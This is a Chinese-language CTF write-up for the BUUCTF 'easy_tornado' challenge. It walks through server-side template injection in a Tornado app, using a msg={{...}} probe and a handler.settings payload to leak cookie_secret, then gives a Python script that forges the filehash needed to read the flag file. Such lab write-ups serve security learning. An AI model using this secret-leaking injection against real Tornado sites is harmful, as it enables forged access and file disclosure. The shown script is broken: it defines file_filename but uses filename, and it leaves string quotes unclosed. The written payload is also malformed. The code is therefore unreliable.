BUUCTF-[護網杯 2018]easy_tornado 1


時隔多天,刷了一些web題之后,再回來看着到easy_tornado 1這道題,剛開始也是懼怕用代碼跑flag吧。下面我們回歸正題

首先,打開題目里面有三個鏈接

 

 里面得代碼也給貼上吧

/flag.txt
flag in /fllllllllllllag


/welcome.txt
render


/hints.txt
md5(cookie_secret+md5(filename))

  簡單看了下這些東西,發現flag在/fllllllllllllag這個文件里面,后面有個render發現這提示我們是一個模板注入,然后需要拼接cookie_secret+md5(filename))並將其轉成md5值

百度了render可知,render是python的一個渲染函數,他們的url都是由filename和filehash組成,filehash即為他們filename的md5值。

然后拼接url才能獲得flag

到這里,我們首要任務時找到這個cookie_secret值,那我們怎么找呢?

存在msg參數,百度之后發現師傅們可以進行模塊注入。嘗試了error?msg={{1}},發現的確存在模塊注入。然后我們嘗試用+-*/發現都報錯,應該是被過濾了。

而我們查官方文檔,tornado在搭建一個網站時,肯定會有多個handler,而這些handler都是RequestHandler的子類

RequestHandler.settings又指向self.application.settings

所以我們可以說handler.settings指向了RequestHandler.settings了,對吧

這樣我們就可以構造一下payload:?msg{handler.settings}

於是獲得cookie_secret:

 

 得到cookie_secret下一步就輕松多了,於是我們寫個exp跑一下

import hashlib
cookie='0ff0d682-6a1e-4f11-bf15-7523afa0cd73'
file_filename='/fllllllllllllag'
md5_filename=hashlib.md5(filename.encode(encoding='UTF-8)).hexdigest()
word=cookie+md5_filename
flag=hashlib.md5(word.encode(encoding='UTF-8)).hexdigest()
print(flag)

  於是得到filename得hash值28102f0eea51aff93634e7fcd8982610

然后拼接url :http://efde2a0f-b219-4791-b407-c83437ac20ce.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=28102f0eea51aff93634e7fcd8982610就得到了flag

flag{8b7b6c91-b690-40f4-bf47-52d22bfcb506}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM